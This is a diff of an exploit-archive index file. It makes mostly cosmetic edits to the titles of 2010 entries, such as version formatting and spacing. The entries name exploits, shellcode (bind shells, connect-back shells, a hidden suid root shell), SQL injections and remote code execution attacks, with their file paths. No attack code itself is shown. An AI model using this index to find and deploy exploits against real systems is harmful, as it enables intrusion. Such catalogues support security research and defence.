 14203,platforms/php/webapps/14203.txt,"TCW PHP Album Multiple Vulnerabilities",2010-07-04,"L0rd CrusAd3r",php,webapps,0
@@ -12454,19 +12454,19 @@ id,file,description,date,author,platform,type,port
 14205,platforms/php/webapps/14205.txt,"Esoftpro Online Photo Pro Multiple Vulnerabilities",2010-07-04,"L0rd CrusAd3r",php,webapps,0
 14206,platforms/php/webapps/14206.txt,"Esoftpro Online Contact Manager Multiple Vulnerabilities",2010-07-04,"L0rd CrusAd3r",php,webapps,0
 14207,platforms/php/webapps/14207.txt,"Joomla Phoca Gallery Component (com_phocagallery) SQL Injection Vulnerability",2010-07-04,RoAd_KiLlEr,php,webapps,0
-14208,platforms/php/webapps/14208.txt,"Sandbox v2.0.2 Local File Inclusion Vulnerability",2010-07-04,saudi0hacker,php,webapps,0
+14208,platforms/php/webapps/14208.txt,"Sandbox 2.0.2 - Local File Inclusion Vulnerability",2010-07-04,saudi0hacker,php,webapps,0
 14209,platforms/php/webapps/14209.txt,"Joomla Front-End Article Manager System Upload Vulnerability",2010-07-04,Sid3^effects,php,webapps,0
 14210,platforms/php/webapps/14210.txt,"Joomla Front-edit Address Book Component (com_addressbook) Blind SQL Injection",2010-07-04,Sid3^effects,php,webapps,0
 14211,platforms/php/webapps/14211.txt,"Joomla NijnaMonials Component (com_ninjamonials) Blind SQL Injection Vulnerability",2010-07-04,Sid3^effects,php,webapps,0
 14213,platforms/php/webapps/14213.txt,"Joomla Component Sef (com_sef) - LFI Vulnerability",2010-07-05,_mlk_,php,webapps,0
-14214,platforms/php/webapps/14214.txt,"bbPress 1.0.2  CSRF Change Admin Password",2010-07-05,saudi0hacker,php,webapps,0
+14214,platforms/php/webapps/14214.txt,"bbPress 1.0.2 CSRF Change Admin Password",2010-07-05,saudi0hacker,php,webapps,0
 14215,platforms/windows/local/14215.txt,"SasCam 2.7 ActiveX Head Buffer Overflow",2010-07-05,Blake,windows,local,0
 14216,platforms/linux/shellcode/14216.c,"97 bytes Linx x86 bind shell port 64533",2010-07-05,Magnefikko,linux,shellcode,0
 14217,platforms/php/webapps/14217.txt,"WikiWebHelp v0.28 SQL Injection Vulnerability",2010-07-05,"ADEO Security",php,webapps,0
 14218,platforms/linux/shellcode/14218.c,"161 bytes Drop suid shell root in /tmp/.hiddenshell Linux Polymorphic Shellcode",2010-07-05,gunslinger_,linux,shellcode,0
 14219,platforms/linux/shellcode/14219.c,"62 bytes setreuid(0,0) execve(""/bin/sh"",NULL,NULL) XOR Encoded Linux Shellcode",2010-07-05,gunslinger_,linux,shellcode,0
 14221,platforms/windows/shellcode/14221.html,"Safari JS JITed shellcode - exec calc (ASLR/DEP bypass)",2010-07-05,"Alexey Sintsov",windows,shellcode,0
-14222,platforms/windows/remote/14222.py,"UFO: Alien Invasion v2.2.1 BoF Exploit (Win7 ASLR and DEP Bypass)",2010-07-05,Node,windows,remote,0
+14222,platforms/windows/remote/14222.py,"UFO: Alien Invasion 2.2.1 - BoF Exploit (Win7 ASLR and DEP Bypass)",2010-07-05,Node,windows,remote,0
 14223,platforms/php/webapps/14223.txt,"Bs Scripts_Directory SQL Injection/Auth Bypass Vulnerability",2010-07-05,Sid3^effects,php,webapps,0
 14224,platforms/php/webapps/14224.txt,"Bs Recipes_Website Script SQL Injection/Auth Bypass Vulnerability",2010-07-05,Sid3^effects,php,webapps,0
 14225,platforms/php/webapps/14225.txt,"Bs Realtor_Web Script SQL Injection Vulnerability",2010-07-05,Sid3^effects,php,webapps,0
@@ -12488,13 +12488,13 @@ id,file,description,date,author,platform,type,port
 14241,platforms/php/webapps/14241.txt,"BS Business Directory (articlesdetails.php) SQL Injection Vulnerability Proof of Concept",2010-07-06,"Easy Laster",php,webapps,0
 14242,platforms/php/webapps/14242.txt,"BS Classifieds Ads (articlesdetails.php) SQL Injection Vulnerability Proof of Concept",2010-07-06,"Easy Laster",php,webapps,0
 14243,platforms/php/webapps/14243.txt,"BS Events Directory (articlesdetails.php) SQL Injection Vulnerability Proof of Concept",2010-07-06,"Easy Laster",php,webapps,0
-14244,platforms/php/webapps/14244.txt,"Lyrics V3 Engine SQL Injection Vulnerability",2010-07-06,Sid3^effects,php,webapps,0
+14244,platforms/php/webapps/14244.txt,"Lyrics 3.0 - Engine SQL Injection Vulnerability",2010-07-06,Sid3^effects,php,webapps,0
 14245,platforms/php/webapps/14245.txt,"Pre Multi-Vendor Shopping Malls SQL Injection Vulnerability & Auth Bypass Vulnerabilty.",2010-07-06,**RoAd_KiLlEr**,php,webapps,0
 14247,platforms/php/webapps/14247.txt,"Auction_Software Script Admin Login Bypass vulnerability",2010-07-06,altbta,php,webapps,0
 14248,platforms/windows/remote/14248.py,"minerCPP 0.4b Remote BOF+Format String Attack Exploit",2010-07-06,l3D,windows,remote,0
 14249,platforms/php/webapps/14249.txt,"Joomla com_autartimonial Sqli Vulnerability",2010-07-06,Sid3^effects,php,webapps,0
 14250,platforms/php/webapps/14250.txt,"Joomla NeoRecruit (com_neorecruit Itemid) Blind SQL Injection Vulnerability",2010-07-06,Sid3^effects,php,webapps,0
-14251,platforms/php/webapps/14251.txt,"PsNews v1.3 SQL Injection Vulnerability",2010-07-06,S.W.T,php,webapps,0
+14251,platforms/php/webapps/14251.txt,"PsNews 1.3 - SQL Injection Vulnerability",2010-07-06,S.W.T,php,webapps,0
 14254,platforms/osx/remote/14254.py,"EvoCam Web Server OSX ROP Remote Exploit (Snow Leopard)",2010-07-06,d1dn0t,osx,remote,0
 14255,platforms/php/webapps/14255.txt,"Sandbox 2.0.3 Multiple Remote Vulnerabilities",2010-07-06,"Salvatore Fresta",php,webapps,0
 14256,platforms/windows/local/14256.txt,"HP NNM 7.53 ovwebsnmpsrv.exe Buffer Overflow (SEH)",2010-07-07,bitform,windows,local,0
@@ -12513,12 +12513,12 @@ id,file,description,date,author,platform,type,port
 14269,platforms/windows/remote/14269.html,"FathFTP 1.7 ActiveX Buffer Overflow",2010-07-08,Blake,windows,remote,0
 14270,platforms/php/webapps/14270.txt,"Zylone IT Multiple Blind SQL Injection Vulnerability",2010-07-08,Callo,php,webapps,0
 14271,platforms/php/webapps/14271.txt,"pithcms (theme) Local Remote File inclusion Vulnerability",2010-07-08,eidelweiss,php,webapps,0
-14272,platforms/osx/remote/14272.py,"UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution - OSX Snow Leopard (ROP)",2010-07-08,d1dn0t,osx,remote,0
+14272,platforms/osx/remote/14272.py,"UFO: Alien Invasion 2.2.1 - IRC Client Remote Code Execution - OSX Snow Leopard (ROP)",2010-07-08,d1dn0t,osx,remote,0
 14273,platforms/linux/local/14273.sh,"Ubuntu PAM MOTD File Tampering (Privilege Escalation)",2010-07-08,"Kristian Erik Hermansen",linux,local,0
 14274,platforms/php/webapps/14274.txt,"Joomla Music Manager Component LFI Vulnerability",2010-07-08,Sid3^effects,php,webapps,0
 14275,platforms/windows/remote/14275.txt,"Real Player 12.0.0.879 0day for WinXP",2010-07-08,webDEViL,windows,remote,0
 14276,platforms/linux/shellcode/14276.c,"Find all writeable folder in filesystem linux polymorphic shellcode - 91 bytes",2010-07-08,gunslinger_,linux,shellcode,0
-14277,platforms/php/webapps/14277.txt,"Inout Music v1.0 Shell Upload Vulnerabilty",2010-07-08,SONIC,php,webapps,0
+14277,platforms/php/webapps/14277.txt,"Inout Music 1.0 - Shell Upload Vulnerabilty",2010-07-08,SONIC,php,webapps,0
 14278,platforms/php/webapps/14278.txt,"Inout Article Base Ultimate Shell Upload Vulnerabilty",2010-07-08,SONIC,php,webapps,0
 14279,platforms/php/webapps/14279.txt,"Inout Ad server Ultimate Shell Upload Vulnerabilty",2010-07-08,SONIC,php,webapps,0
 14280,platforms/php/webapps/14280.txt,"PG Social Networking Shell Upload Vulnerabilty",2010-07-08,SONIC,php,webapps,0
@@ -12530,12 +12530,12 @@ id,file,description,date,author,platform,type,port
 14286,platforms/windows/dos/14286.txt,"Ghost Recon Advanced Warfighter Integer Overflow and Array Indexing Overflow",2010-07-08,"Luigi Auriemma",windows,dos,0
 14287,platforms/windows/remote/14287.cpp,"Sun Java Web Server 7.0 u7 Exploit with DEP bypass",2010-07-09,dmc,windows,remote,0
 14288,platforms/multiple/shellcode/14288.asm,"Write-to-file Shellcode (Win32)",2010-07-09,"Brett Gervasoni",multiple,shellcode,0
-14289,platforms/php/webapps/14289.html,"b2evolution 3.3.3  Cross Site Request Forgery [CSRF]",2010-07-09,saudi0hacker,php,webapps,0
-14290,platforms/windows/dos/14290.py,"MP3 Cutter v1.5 DoS Exploit",2010-07-09,"Prashant Uniyal",windows,dos,0
+14289,platforms/php/webapps/14289.html,"b2evolution 3.3.3 Cross Site Request Forgery [CSRF]",2010-07-09,saudi0hacker,php,webapps,0
+14290,platforms/windows/dos/14290.py,"MP3 Cutter 1.5 - DoS Exploit",2010-07-09,"Prashant Uniyal",windows,dos,0
 14291,platforms/php/webapps/14291.txt,"IXXO Cart for Joomla SQLi Vulnerability",2010-07-09,Sid3^effects,php,webapps,0
 14293,platforms/php/webapps/14293.txt,"Minify4Joomla Upload and Persistent XSS Vulnerability",2010-07-09,Sid3^effects,php,webapps,0
-14294,platforms/php/webapps/14294.txt,"sphider v1.3.5 Remote File Inclusion Vulnerability",2010-07-09,Li0n-PaL,php,webapps,0
-14295,platforms/windows/dos/14295.html,"Microsoft MSHTML.DLL CTIMEOUTEVENTLIST::INSERTINTOTIMEOUTLIST Memory Leak [0-Day]",2010-07-09,"Ruben Santamarta",windows,dos,0
+14294,platforms/php/webapps/14294.txt,"sphider 1.3.5 - Remote File Inclusion Vulnerability",2010-07-09,Li0n-PaL,php,webapps,0
+14295,platforms/windows/dos/14295.html,"Microsoft MSHTML.DLL CTIMEOUTEVENTLIST::INSERTINTOTIMEOUTLIST Memory Leak (0day)",2010-07-09,"Ruben Santamarta",windows,dos,0
 14296,platforms/php/webapps/14296.txt,"Joomla QuickFAQ Component (com_quickfaq) Blind SQL Injection Vulnerability",2010-07-09,RoAd_KiLlEr,php,webapps,0
 14299,platforms/php/webapps/14299.txt,"CMS Contentia (news.php) SQL Injection Vulnerability",2010-07-09,GlaDiaT0R,php,webapps,0
 14305,platforms/linux/shellcode/14305.c,"Linux/x86-64 - execve(""/sbin/iptables"", [""/sbin/iptables"", ""-F""], NULL) - 49 bytes",2010-07-09,10n1z3d,linux,shellcode,0
@@ -12543,14 +12543,14 @@ id,file,description,date,author,platform,type,port
 14308,platforms/php/webapps/14308.txt,"Wordpress Firestats Remote Configuration File Download",2010-07-09,"Jelmer de Hen",php,webapps,0
 14309,platforms/windows/remote/14309.html,"RSP MP3 Player OCX 3.2 ActiveX Buffer Overflow",2010-07-09,Blake,windows,remote,0
 14310,platforms/php/webapps/14310.js,"DotDefender <= 3.8-5 No Authentication Remote Code Execution Through XSS",2010-07-09,rAWjAW,php,webapps,80
-14312,platforms/php/webapps/14312.txt,"Joomla redSHOP Component v1.0 (com_redshop pid) SQL Injection Vulnerability",2010-07-10,v3n0m,php,webapps,0
-14313,platforms/php/webapps/14313.txt,"Joomla MyHome Component (com_myhome) Blind SQL Injection  Vulnerability",2010-07-10,Sid3^effects,php,webapps,0
+14312,platforms/php/webapps/14312.txt,"Joomla redSHOP Component 1.0 (com_redshop pid) - SQL Injection Vulnerability",2010-07-10,v3n0m,php,webapps,0
+14313,platforms/php/webapps/14313.txt,"Joomla MyHome Component (com_myhome) Blind SQL Injection Vulnerability",2010-07-10,Sid3^effects,php,webapps,0
 14315,platforms/php/webapps/14315.txt,"Joomla MySMS Component (com_mysms) Upload Vulnerability",2010-07-10,Sid3^effects,php,webapps,0
 14316,platforms/php/webapps/14316.pl,"PHP-Nuke <= 8.0 (Web_Links Module) Remote Blind SQL Injection Exploit",2010-07-10,yawn,php,webapps,0
 14318,platforms/php/webapps/14318.html,"Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities",2010-07-10,10n1z3d,php,webapps,0
 14319,platforms/php/webapps/14319.pl,"PHP-Nuke <= 8.1.0.3.5b Remote Command Execution Exploit",2010-07-10,yawn,php,webapps,0
 14320,platforms/php/webapps/14320.pl,"PHP-Nuke <= 8.1.0.3.5b (Your_Account Module) Remote Blind SQL Injection (Benchmark Mode)",2010-07-10,yawn,php,webapps,0
-14321,platforms/windows/remote/14321.html,"Image22 ActiveX v1.1.1 Buffer Overflow Exploit",2010-07-10,Blake,windows,remote,0
+14321,platforms/windows/remote/14321.html,"Image22 ActiveX 1.1.1 - Buffer Overflow Exploit",2010-07-10,Blake,windows,remote,0
 14322,platforms/php/webapps/14322.txt,"Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability",2010-07-10,"L0rd CrusAd3r",php,webapps,0
 14324,platforms/php/webapps/14324.txt,"Sillaj time tracking tool Authentication Bypass",2010-07-10,"L0rd CrusAd3r",php,webapps,0
 14325,platforms/php/webapps/14325.txt,"My Kazaam Notes Management System Multiple Vulnerability",2010-07-10,"L0rd CrusAd3r",php,webapps,0
@@ -12561,12 +12561,12 @@ id,file,description,date,author,platform,type,port
 14330,platforms/php/webapps/14330.html,"TomatoCart 1.0.1 Multiple CSRF Vulnerabilities",2010-07-11,10n1z3d,php,webapps,0
 14331,platforms/php/webapps/14331.html,"TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities",2010-07-11,10n1z3d,php,webapps,0
 14332,platforms/linux/shellcode/14332.c,"Linux x86 netcat bindshell port 8080 - 75 bytes",2010-07-11,Blake,linux,shellcode,0
-14333,platforms/php/webapps/14333.html,"Orbis CMS v1.0.2 Multiple CSRF Vulnerabilities",2010-07-11,10n1z3d,php,webapps,0
+14333,platforms/php/webapps/14333.html,"Orbis CMS 1.0.2 - Multiple CSRF Vulnerabilities",2010-07-11,10n1z3d,php,webapps,0
 14334,platforms/lin_x86/shellcode/14334.c,"Linux x86 netcat connect back port 8080 - 76 bytes",2010-07-11,Blake,lin_x86,shellcode,0
 14335,platforms/php/webapps/14335.txt,"Joomla Health & Fitness Stats Persistent XSS Vulnerability",2010-07-12,Sid3^effects,php,webapps,0
 14336,platforms/php/webapps/14336.txt,"Joomla EasyBlog Persistent XSS Vulnerability",2010-07-12,Sid3^effects,php,webapps,0
-14337,platforms/php/webapps/14337.html,"TheHostingTool v1.2.2 Multiple CSRF Vulnerabilities",2010-07-12,10n1z3d,php,webapps,0
-14338,platforms/php/webapps/14338.html,"GetSimple CMS v2.01 Multiple Vulnerabilities (XSS/CSRF)",2010-07-12,10n1z3d,php,webapps,0
+14337,platforms/php/webapps/14337.html,"TheHostingTool 1.2.2 - Multiple CSRF Vulnerabilities",2010-07-12,10n1z3d,php,webapps,0
+14338,platforms/php/webapps/14338.html,"GetSimple CMS 2.01 - Multiple Vulnerabilities (XSS/CSRF)",2010-07-12,10n1z3d,php,webapps,0
 14339,platforms/linux/local/14339.sh,"Ubuntu PAM MOTD Local Root Exploit",2010-07-12,anonymous,linux,local,0
 14341,platforms/php/webapps/14341.html,"Campsite CMS 3.4.0 Multiple CSRF Vulnerabilities",2010-07-12,10n1z3d,php,webapps,0
 14342,platforms/php/webapps/14342.html,"Grafik CMS 1.1.2 Multiple CSRF Vulnerabilities",2010-07-12,10n1z3d,php,webapps,0
@@ -12574,8 +12574,8 @@ id,file,description,date,author,platform,type,port
 14346,platforms/windows/dos/14346.txt,"Corel Presentations X5 15.0.0.357 (shw) Buffer Preoccupation PoC",2010-07-12,LiquidWorm,windows,dos,0
 14349,platforms/windows/dos/14349.html,"Opera Denial of Service by <canvas> Element",2010-07-12,"Pouya Daneshmand",windows,dos,0
 14350,platforms/php/webapps/14350.txt,"Joomla Component QContacts (com_qcontacts) SQL Injection Vulnerability",2010-07-13,_mlk_,php,webapps,0
-14351,platforms/php/webapps/14351.txt,"I-net Enquiry Management  Script SQL Injection Vulnerability",2010-07-13,D4rk357,php,webapps,0
-14352,platforms/windows/local/14352.rb,"ASX to MP3 Converter v3.1.2.1 SEH Exploit (Multiple OS, DEP and ASLR Bypass)",2010-07-13,Node,windows,local,0
+14351,platforms/php/webapps/14351.txt,"I-net Enquiry Management Script SQL Injection Vulnerability",2010-07-13,D4rk357,php,webapps,0
+14352,platforms/windows/local/14352.rb,"ASX to MP3 Converter 3.1.2.1 - SEH Exploit (Multiple OS, DEP and ASLR Bypass)",2010-07-13,Node,windows,local,0
 14353,platforms/php/webapps/14353.html,"Diferior CMS 8.03 Multiple CSRF Vulnerabilities",2010-07-13,10n1z3d,php,webapps,0
 14354,platforms/php/webapps/14354.txt,"AJ Article Persistent XSS Vulnerability",2010-07-13,Sid3^effects,php,webapps,0
 14355,platforms/windows/webapps/14355.txt,"dotDefender 4.02 Authentication Bypass Vulnerability",2010-07-13,"David K",windows,webapps,0
@@ -12584,21 +12584,21 @@ id,file,description,date,author,platform,type,port
 14359,platforms/php/webapps/14359.html,"Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities",2010-07-14,10n1z3d,php,webapps,0
 14360,platforms/multiple/remote/14360.txt,"Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability",2010-07-14,"Meder Kydyraliev",multiple,remote,0
 14361,platforms/windows/local/14361.py,"Microsoft Excel 0x5D record Stack Overflow Vulnerability",2010-07-14,webDEViL,windows,local,0
-14362,platforms/php/webapps/14362.txt,"SQL injection vulnerability in CMSQLite",2010-07-14,"High-Tech Bridge SA",php,webapps,0
+14362,platforms/php/webapps/14362.txt,"CMSQLite - SQL injection vulnerability",2010-07-14,"High-Tech Bridge SA",php,webapps,0
 14363,platforms/php/webapps/14363.txt,"Ad Network Script Persistent XSS Vulnerability",2010-07-14,Sid3^effects,php,webapps,0
 14364,platforms/php/webapps/14364.html,"eXtreme Message Board 1.9.11 Multiple CSRF Vulnerabilities",2010-07-15,10n1z3d,php,webapps,0
 14365,platforms/php/webapps/14365.txt,"Campsite CMS remote Persistent XSS vulnerability",2010-07-15,D4rk357,php,webapps,0
-14366,platforms/php/webapps/14366.txt,"Whizzy CMS <= v10.01 Local File Inclusion Vulnerability",2010-07-15,"Anarchy Angel",php,webapps,0
+14366,platforms/php/webapps/14366.txt,"Whizzy CMS <= 10.01 - Local File Inclusion Vulnerability",2010-07-15,"Anarchy Angel",php,webapps,0
 14367,platforms/multiple/dos/14367.txt,"Novell Groupwise Webaccess Stack Overflow",2010-07-15,"Francis Provencher",multiple,dos,0
 14368,platforms/php/webapps/14368.txt,"RedShop 1.0.23.1 Joomla Component Blind SQL Injection Vulnerability",2010-07-15,"Salvatore Fresta",php,webapps,0
 14369,platforms/jsp/webapps/14369.txt,"ORACLE BPM Process Administrator (XSS)",2010-07-15,Markot,jsp,webapps,0
 14370,platforms/php/webapps/14370.txt,"BS Scripts Directory (info.php) SQL Injection Vulnerability",2010-07-15,D4rk357,php,webapps,0
 14371,platforms/php/webapps/14371.txt,"BS Scripts Directory (articlesdetails.php) SQL Injection Vulnerability",2010-07-16,k4k4shi,php,webapps,0
-14372,platforms/windows/dos/14372.txt,"Haihaisoft PDF Reader OCX Control v1.1.2.0 Remote Buffer Overflow",2010-07-16,shinnai,windows,dos,0
-14373,platforms/win32/local/14373.pl,"Mini-Stream RM-MP3 Converter v3.1.2.1 (.pls) Stack Buffer Overflow universal",2010-07-16,MadjiX,win32,local,0
+14372,platforms/windows/dos/14372.txt,"Haihaisoft PDF Reader OCX Control 1.1.2.0 - Remote Buffer Overflow",2010-07-16,shinnai,windows,dos,0
+14373,platforms/win32/local/14373.pl,"Mini-Stream RM-MP3 Converter 3.1.2.1 - (.pls) Stack Buffer Overflow universal",2010-07-16,MadjiX,win32,local,0
 14374,platforms/php/webapps/14374.txt,"Pre Web Host System Authentication Bypass",2010-07-16,D4rk357,php,webapps,0
 14375,platforms/php/webapps/14375.txt,"Pre Dynamic Institution Web Authentication Bypass",2010-07-16,D4rk357,php,webapps,0
-14376,platforms/php/webapps/14376.txt,"Pre E-Smart Cart  Authentication Bypass",2010-07-16,D4rk357,php,webapps,0
+14376,platforms/php/webapps/14376.txt,"Pre E-Smart Cart Authentication Bypass",2010-07-16,D4rk357,php,webapps,0
 14377,platforms/php/webapps/14377.txt,"Pre SoftClones Marketing Management System Authentication Bypass",2010-07-16,D4rk357,php,webapps,0
 14378,platforms/php/webapps/14378.txt,"Pre Podcast Portal Authentication Bypass",2010-07-16,D4rk357,php,webapps,0
 14379,platforms/multiple/dos/14379.txt,"Novell Groupwise Internet Agent Stack Overflow",2010-07-16,"Francis Provencher",multiple,dos,0
@@ -12606,38 +12606,38 @@ id,file,description,date,author,platform,type,port
 14381,platforms/php/webapps/14381.txt,"Group Office Remote Command Execution Vulnerability",2010-07-16,"ADEO Security",php,webapps,0
 14382,platforms/windows/webapps/14382.txt,"ActiTime 2.0-MA CSRF Vulnerability",2010-07-16,Markot,windows,webapps,0
 14383,platforms/php/webapps/14383.txt,"Group Office (comment_id) SQL Injection Vulnerability",2010-07-16,"Canberk BOLAT",php,webapps,0
-14385,platforms/windows/remote/14385.html,"Avant Browser v11.7 build 45 Clickjacking Vulnerability",2010-07-17,"Pouya Daneshmand",windows,remote,0
-14386,platforms/multiple/remote/14386.html,"Opera Browser v10.60 Clickjacking Vulnerability",2010-07-17,"Pouya Daneshmand",multiple,remote,0
-14387,platforms/multiple/remote/14387.html,"Safari Browser v4.0.2 Clickjacking Vulnerability",2010-07-17,"Pouya Daneshmand",multiple,remote,0
-14388,platforms/multiple/remote/14388.html,"Netscape Browser v9.0.0.6 Clickjacking Vulnerability",2010-07-17,"Pouya Daneshmand",multiple,remote,0
+14385,platforms/windows/remote/14385.html,"Avant Browser 11.7 build 45 - Clickjacking Vulnerability",2010-07-17,"Pouya Daneshmand",windows,remote,0
+14386,platforms/multiple/remote/14386.html,"Opera Browser 10.60 - Clickjacking Vulnerability",2010-07-17,"Pouya Daneshmand",multiple,remote,0
+14387,platforms/multiple/remote/14387.html,"Safari Browser 4.0.2 - Clickjacking Vulnerability",2010-07-17,"Pouya Daneshmand",multiple,remote,0
+14388,platforms/multiple/remote/14388.html,"Netscape Browser 9.0.0.6 - Clickjacking Vulnerability",2010-07-17,"Pouya Daneshmand",multiple,remote,0
 14389,platforms/php/webapps/14389.txt,"Freelancers Marketplace Script Persistent XSS Vulnerability",2010-07-17,Sid3^effects,php,webapps,0
 14390,platforms/php/webapps/14390.txt,"Freelancer Marketplace Script Upload Vulnerability",2010-07-17,Sid3^effects,php,webapps,0
 14391,platforms/php/webapps/14391.txt,"Subrion Auto Classifieds Persistent Xss Vulnerability",2010-07-17,Sid3^effects,php,webapps,0
-14392,platforms/php/webapps/14392.txt,"Kayako eSupport v3.70.02 SQL Injection Vulnerability",2010-07-17,Sid3^effects,php,webapps,0
+14392,platforms/php/webapps/14392.txt,"Kayako eSupport 3.70.02 - SQL Injection Vulnerability",2010-07-17,Sid3^effects,php,webapps,0
 14393,platforms/php/webapps/14393.txt,"Calendarix (cal_cat.php) SQL Injection Vulnerability",2010-07-17,SixP4ck3r,php,webapps,0
 14394,platforms/php/webapps/14394.txt,"Joomla Component (com_spa) SQL Injection Vulnerability",2010-07-17,"Palyo34 and KroNicKq",php,webapps,0
 14395,platforms/php/webapps/14395.txt,"Joomla Component (com_staticxt) SQL Injection Vulnerability",2010-07-17,"Palyo34 and KroNicKq",php,webapps,0
 14397,platforms/windows/local/14397.rb,"MoreAmp SEH Buffer Overflow (meta)",2010-07-17,MadjiX,windows,local,0
-14399,platforms/windows/remote/14399.py,"Easy FTP Server v1.7.0.11 MKD Command Remote Buffer Overflow Exploit (Post Auth)",2010-07-17,"Karn Ganeshen",windows,remote,0
-14400,platforms/windows/remote/14400.py,"Easy FTP Server v1.7.0.11 LIST Command Remote Buffer Overflow Exploit (Post Auth)",2010-07-17,"Karn Ganeshen",windows,remote,0
+14399,platforms/windows/remote/14399.py,"Easy FTP Server 1.7.0.11 - MKD Command Remote Buffer Overflow Exploit (Post Auth)",2010-07-17,"Karn Ganeshen",windows,remote,0
+14400,platforms/windows/remote/14400.py,"Easy FTP Server 1.7.0.11 - LIST Command Remote Buffer Overflow Exploit (Post Auth)",2010-07-17,"Karn Ganeshen",windows,remote,0
 14401,platforms/asp/webapps/14401.txt,"ClickAndRank Script Authentication Bypass",2010-07-18,walid,asp,webapps,0
-14402,platforms/windows/remote/14402.py,"Easy FTP Server v1.7.0.11 CWD Command Remote Buffer Overflow Exploit (Post Auth)",2010-07-18,fdisk,windows,remote,0
+14402,platforms/windows/remote/14402.py,"Easy FTP Server 1.7.0.11 - CWD Command Remote Buffer Overflow Exploit (Post Auth)",2010-07-18,fdisk,windows,remote,0
 14403,platforms/windows/local/14403.txt,"Microsoft Windows Automatic LNK Shortcut File Code Execution",2010-07-18,Ivanlef0u,windows,local,0
-14404,platforms/php/webapps/14404.txt,"Kayako eSupport (functions.php) v3.70.02 SQL Injection Vulnerability",2010-07-18,ScOrPiOn,php,webapps,0
+14404,platforms/php/webapps/14404.txt,"Kayako eSupport (functions.php) 3.70.02 - SQL Injection Vulnerability",2010-07-18,ScOrPiOn,php,webapps,0
 14405,platforms/php/webapps/14405.txt,"PHP-Fusion Remote Command Execution Vulnerability",2010-07-18,"ViRuS Qalaa",php,webapps,0
 14406,platforms/bsd/local/14406.pl,"GhostScript PostScript File Stack Overflow Exploit",2010-07-18,"Rodrigo Rubira Branco",bsd,local,0
 14407,platforms/aix/remote/14407.c,"rpc.pcnfsd Remote Format String Exploit",2010-07-18,"Rodrigo Rubira Branco",aix,remote,0
 14408,platforms/windows/dos/14408.py,"Really Simple IM 1.3beta DoS Proof of Concept",2010-07-18,loneferret,windows,dos,0
 14409,platforms/aix/remote/14409.pl,"AIX5l with FTP-Server Remote Root Hash Disclosure Exploit",2010-07-18,Kingcope,aix,remote,0
-14410,platforms/php/webapps/14410.txt,"rapidCMS V2 Authentication Bypass",2010-07-18,Mahjong,php,webapps,0
+14410,platforms/php/webapps/14410.txt,"rapidCMS 2.0 - Authentication Bypass",2010-07-18,Mahjong,php,webapps,0
 14412,platforms/windows/remote/14412.rb,"Hero DVD Buffer Overflow Exploit (meta)",2010-07-19,MadjiX,windows,remote,0
 14413,platforms/windows/dos/14413.txt,"IE 7.0 - DoS Microsoft Clip Organizer Multiple Insecure ActiveX Control",2010-07-20,"Beenu Arora",windows,dos,0
 14414,platforms/windows/dos/14414.txt,"Unreal Tournament 3 2.1 'STEAMBLOB' Command Remote Denial of Service Vulnerability",2010-07-20,"Luigi Auriemma",windows,dos,0
-14415,platforms/php/webapps/14415.html,"EZ-Oscommerce 3.1 Remote File Upload",2010-07-20,indoushka,php,webapps,0
-14416,platforms/windows/remote/14416.html,"SapGUI BI v7100.1.400.8 Heap Corruption Exploit",2010-07-20,"Elazar Broad",windows,remote,0
+14415,platforms/php/webapps/14415.html,"EZ-Oscommerce 3.1 Remote File Upload",2010-07-20,"indoushka salah el ddine",php,webapps,0
+14416,platforms/windows/remote/14416.html,"SapGUI BI 7100.1.400.8 - Heap Corruption Exploit",2010-07-20,"Elazar Broad",windows,remote,0
 14419,platforms/asp/webapps/14419.txt,"Caner Hikaye Script SQL Injection Vulnerability",2010-07-20,v0calist,asp,webapps,0
-14420,platforms/asp/webapps/14420.txt,"Mayasan Portal v2.0 (makaledetay.asp) SQL Injection Vulnerability",2010-07-20,v0calist,asp,webapps,0
-14421,platforms/asp/webapps/14421.txt,"Mayasan Portal v2.0 (haberdetay.asp) SQL Injection Vulnerability",2010-07-20,CoBRa_21,asp,webapps,0
+14420,platforms/asp/webapps/14420.txt,"Mayasan Portal 2.0 - (makaledetay.asp) SQL Injection Vulnerability",2010-07-20,v0calist,asp,webapps,0
+14421,platforms/asp/webapps/14421.txt,"Mayasan Portal 2.0 - (haberdetay.asp) SQL Injection Vulnerability",2010-07-20,CoBRa_21,asp,webapps,0
 14422,platforms/multiple/dos/14422.c,"libpng <= 1.4.2 Denial of Service Vulnerability",2010-07-20,kripthor,multiple,dos,0
 14423,platforms/php/webapps/14423.txt,"Joomla Component com_spa SQL Injection Vulnerability",2010-07-20,altbta,php,webapps,0
 14424,platforms/windows/dos/14424.txt,"Lithtech Engine Memory Corruption Vulnerability",2010-07-20,"Luigi Auriemma",windows,dos,0
@@ -12657,16 +12657,16 @@ id,file,description,date,author,platform,type,port
 14439,platforms/php/webapps/14439.txt,"phpBazar admin Information Disclosure Vulnerability",2010-07-22,Net_Spy,php,webapps,0
 14440,platforms/php/webapps/14440.txt,"PHPBB MOD [2.0.19] Invitation Only (PassCode Bypass vulnerability)",2010-07-22,Silic0n,php,webapps,0
 14441,platforms/php/webapps/14441.txt,"WordPress Plugin myLDlinker SQL Injection Vulnerability",2010-07-22,H-SK33PY,php,webapps,0
-14442,platforms/php/webapps/14442.txt,"ZeeAdbox v2x SQL Injection Vulnerability",2010-07-23,SONIC,php,webapps,0
+14442,platforms/php/webapps/14442.txt,"ZeeAdbox 2.x - SQL Injection Vulnerability",2010-07-23,SONIC,php,webapps,0
 14443,platforms/php/webapps/14443.txt,"LILDBI Shell Upload Vulnerability",2010-07-23,EraGoN,php,webapps,0
-14444,platforms/php/webapps/14444.txt,"ZeeNetworking v1x- Arbitrary File Upload Vulnerability",2010-07-23,SONIC,php,webapps,0
-14445,platforms/php/webapps/14445.txt,"ZeeMatri v3x- Arbitrary File Upload Vulnerability",2010-07-23,SONIC,php,webapps,0
+14444,platforms/php/webapps/14444.txt,"ZeeNetworking 1x- Arbitrary File Upload Vulnerability",2010-07-23,SONIC,php,webapps,0
+14445,platforms/php/webapps/14445.txt,"ZeeMatri 3.x - Arbitrary File Upload Vulnerability",2010-07-23,SONIC,php,webapps,0
 14446,platforms/php/webapps/14446.txt,"PhotoPost PHP SQL Injection Vulnerability",2010-07-23,Cyber-sec,php,webapps,0
